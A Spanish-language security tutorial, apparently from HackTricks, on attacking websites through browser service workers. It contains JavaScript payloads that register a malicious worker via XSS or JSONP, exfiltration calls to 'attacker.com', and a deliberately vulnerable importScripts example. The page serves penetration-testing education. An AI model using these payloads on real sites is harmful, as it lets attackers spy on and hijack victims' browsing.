Abusing Service Workers

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Información Básica

Un service worker es un script ejecutado por tu navegador en segundo plano, separado de cualquier página web, que permite características que no requieren una página web o interacción del usuario, mejorando así las capacidades de procesamiento en offline y en segundo plano. Se puede encontrar información detallada sobre los service workers aquí. Al explotar service workers dentro de un dominio web vulnerable, los atacantes pueden tomar control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.

Comprobando Service Workers Existentes

Los service workers existentes se pueden comprobar en la sección de Service Workers de la pestaña Application en Developer Tools. Otro método es visitar chrome://serviceworker-internals para una vista más detallada.

Notificaciones Push

Los permisos de notificación push impactan directamente en la capacidad de un service worker para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, se limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.

Ataque Creando un Service Worker

Para explotar esta vulnerabilidad necesitas encontrar:

  • Una forma de subir archivos JS arbitrarios al servidor y un XSS para cargar el service worker del archivo JS subido
  • Una solicitud JSONP vulnerable donde puedas manipular la salida (con código JS arbitrario) y un XSS para cargar el JSONP con una carga útil que cargará un service worker malicioso.

En el siguiente ejemplo voy a presentar un código para registrar un nuevo service worker que escuchará el evento fetch y enviará al servidor del atacante cada URL recuperada (este es el código que necesitarías subir al servidor o cargar a través de una respuesta JSONP vulnerable):

javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Y este es el código que registrará el trabajador (el código que deberías poder ejecutar abusando de un XSS). En este caso, se enviará una solicitud GET al servidor de los atacantes notificando si la registración del trabajador de servicio fue exitosa o no:

javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

En caso de abusar de un endpoint JSONP vulnerable, debes poner el valor dentro de var sw. Por ejemplo:

javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

Hay un C2 dedicado a la explotación de Service Workers llamado Shadow Workers que será muy útil para abusar de estas vulnerabilidades.

La directiva de caché de 24 horas limita la vida de un service worker (SW) malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado en línea del cliente. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un kill-switch para service workers para una desactivación rápida.

Abusando de importScripts en un SW a través de DOM Clobbering

La función importScripts llamada desde un Service Worker puede importar un script de un dominio diferente. Si esta función se llama utilizando un parámetro que un atacante podría modificar, podría importar un script JS de su dominio y obtener XSS.

Esto incluso elude las protecciones CSP.

Ejemplo de código vulnerable:

  • index.html
html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
  • sw.js
javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

Con DOM Clobbering

Para más información sobre qué es DOM Clobbering, consulta:

Dom Clobbering

Si la URL/dominio que el SW está utilizando para llamar a importScripts está dentro de un elemento HTML, es posible modificarlo a través de DOM Clobbering para hacer que el SW cargue un script de tu propio dominio.

Para un ejemplo de esto, consulta el enlace de referencia.

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks